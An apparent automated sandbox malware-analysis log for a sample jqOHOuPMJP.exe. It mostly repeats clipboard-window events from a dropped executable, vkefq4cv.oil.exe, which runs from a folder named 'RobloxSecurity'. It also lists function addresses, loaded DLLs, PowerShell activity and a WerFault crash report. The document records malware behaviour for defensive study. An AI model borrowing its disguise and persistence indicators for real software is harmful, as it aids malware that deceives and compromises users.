Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Code function: 0_2_02B8E00C	0_2_02B8E00C
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Code function: 0_2_06258E50	0_2_06258E50
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Code function: 0_2_0625A268	0_2_0625A268
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Code function: 0_2_06250006	0_2_06250006
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Code function: 0_2_06250040	0_2_06250040
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Code function: 0_2_067EEDD1	0_2_067EEDD1
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Code function: 0_2_06EF04F0	0_2_06EF04F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04F5B490	1_2_04F5B490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04F5B471	1_2_04F5B471
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_08803A98	1_2_08803A98
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Code function: 4_2_00007FFD9B9A2B4C	4_2_00007FFD9B9A2B4C
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 11_2_00007FFD9B98830A	11_2_00007FFD9B98830A
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 11_2_00007FFD9B972B4C	11_2_00007FFD9B972B4C
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 11_2_00007FFD9B989762	11_2_00007FFD9B989762
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 11_2_00007FFD9B987B8D	11_2_00007FFD9B987B8D
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 11_2_00007FFD9B977D15	11_2_00007FFD9B977D15
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 18_2_00007FFD9B978B08	18_2_00007FFD9B978B08
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 18_2_00007FFD9B9882EA	18_2_00007FFD9B9882EA
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 18_2_00007FFD9B972B4C	18_2_00007FFD9B972B4C
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 18_2_00007FFD9B989742	18_2_00007FFD9B989742
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 18_2_00007FFD9B987B6D	18_2_00007FFD9B987B6D
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 18_2_00007FFD9B977D59	18_2_00007FFD9B977D59
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 42_2_00007FFD9B982B4C	42_2_00007FFD9B982B4C
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 42_2_00007FFD9B9806D1	42_2_00007FFD9B9806D1
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 42_2_00007FFD9B987D59	42_2_00007FFD9B987D59
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 44_2_00007FFD9B962B4C	44_2_00007FFD9B962B4C
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 44_2_00007FFD9B967D59	44_2_00007FFD9B967D59
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 45_2_00007FFD9B992B4C	45_2_00007FFD9B992B4C
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Code function: 45_2_00007FFD9B9978F5	45_2_00007FFD9B9978F5

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 8072 -s 1632

Source: jqOHOuPMJP.exe, 00000000.00000002.1796380426.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs jqOHOuPMJP.exe
Source: jqOHOuPMJP.exe, 00000000.00000002.1797186606.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs jqOHOuPMJP.exe
Source: jqOHOuPMJP.exe, 00000000.00000000.1644125840.0000000000946000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLaps.exe4 vs jqOHOuPMJP.exe
Source: jqOHOuPMJP.exe, 00000000.00000002.1817862177.0000000003DAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHab9b84cf0be099b26b5d8bd8efac02917c.exeT vs jqOHOuPMJP.exe
Source: jqOHOuPMJP.exe	Binary or memory string: OriginalFilenameLaps.exe4 vs jqOHOuPMJP.exe

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
